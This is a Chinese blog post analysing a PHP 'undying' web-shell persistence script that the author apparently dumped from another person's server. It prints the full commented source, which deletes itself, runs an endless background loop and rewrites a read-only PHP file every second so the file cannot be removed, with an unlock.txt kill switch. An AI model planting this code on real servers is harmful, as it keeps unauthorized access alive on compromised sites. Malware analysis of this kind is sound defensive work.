php不死马

在别人服务器上dump下了这个文件,分析了一下,是一个挺有意思的不死马,分析以后跟大家分享一下


所以这算原创还是转载…毕竟不是我写的马 有啥不合适的我再改(


这个不死马的主体是这个文件,不妨叫Trojan.php

<?php
@unlink($_SERVER['SCRIPT_FILENAME']); //删除自身
error_reporting(0); //禁用错误报告
ignore_user_abort(true); //忽略与用户的断开,用户浏览器断开后继续执行
set_time_limit(0); //执行不超时

$js = 'unlock.txt'; //用来判断是否终止执行锁定(解锁)的文件标记
$mb = 'error_reporting.php'; //要锁定的文件路径
$rn = 'error_reporting.txt'; //要锁定的内容
$nr = file_get_contents($rn); //从文件中读取要锁定的内容
@unlink($rn); //删除“要锁定的文件内容”,不留痕迹

//创建一个后台执行的死循环
while (1==1) {
    //先判断是否需要解除锁定,防止后台死循环造成各种冲突
    if (file_exists($js)) {
        @unlink($js); //删除解锁文件
        exit(); //终止程序
    }
    else {
        @unlink($mb); //先删除目标文件
        chmod($mb, 0777);  //设置属性
        @unlink($mb); //先删除目标文件
        file_put_contents($mb, $nr); //锁定内容 //$fk = fopen($mb, w); fwrite($fk, $nr); fclose($fk);
        chmod($mb, 0444);  //设置属性
        usleep(1000000); //等待1秒
    }
};
?>

可以看到,他需要读取一个error_reporting.txt文件的内容,然后写入同名php文件中


在执行前做了一个判断,是否存在unlock.txt文件,如果存在,即终止进程退出。这里是一个小细节,不至于失控


在运行此php文件后,会自动删除Trojan.php和error_reporting.txt,驻入内存中。不断写入error_reporting.php,不管怎么删除都会再自动生成。要终止只需建立一个unlock.txt文件即可


  原文链接:http://www.5kik.com/phpmuma/595.html

相关文章

发表评论:

验证码

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。